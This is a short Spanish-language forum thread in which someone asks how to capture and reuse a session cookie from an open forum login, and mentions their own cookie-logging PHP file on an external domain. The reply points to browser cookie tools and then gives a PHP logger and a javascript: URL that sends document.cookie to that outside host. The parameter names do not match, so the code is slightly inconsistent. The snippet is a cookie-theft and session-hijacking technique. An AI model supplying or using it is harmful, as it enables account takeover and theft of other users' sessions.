Hola! Mi caso es el siguiente:

Un día subo la pantalla de mi portátil, veo que está encendido... qué raro... ¡Anda, si me dejé otra sesión abierta en un foro!

Mi pregunta es: teniendo ya la página abierta e identificado como usuario legítimo, cómo puedo hacer para capturar la cookie? ¿Y después, cómo la puedo utilizar?

Tengo un dominio waaya.herobo.com: en él hay un archivo cookie.php que guarda cookies en cookies.txt .

Saludos!

Si la cookie tiene el parametro HTTP ONLY no te imprimirá la cookie.
En este caso no tienes mas que ver donde guardan las cookies tu navegador.
O más simple hay muchas extensiones (al menos en firefox) donde puedes consultar estos valores. CookieManager+

Seria ams facil asi:

Tu archivo http://waaya.herobo.com/cookie.php deberia tener esto:

<?php
echo urldecode($_GET['c']);
?>

Entonces en la barra de direcciones  del navegador pegar esto:

javascript:location.href="http://waaya.herobo.com/cookie.php?q="+document.cookie;

Te doy una idea, no el ejemplo completo...

Saludos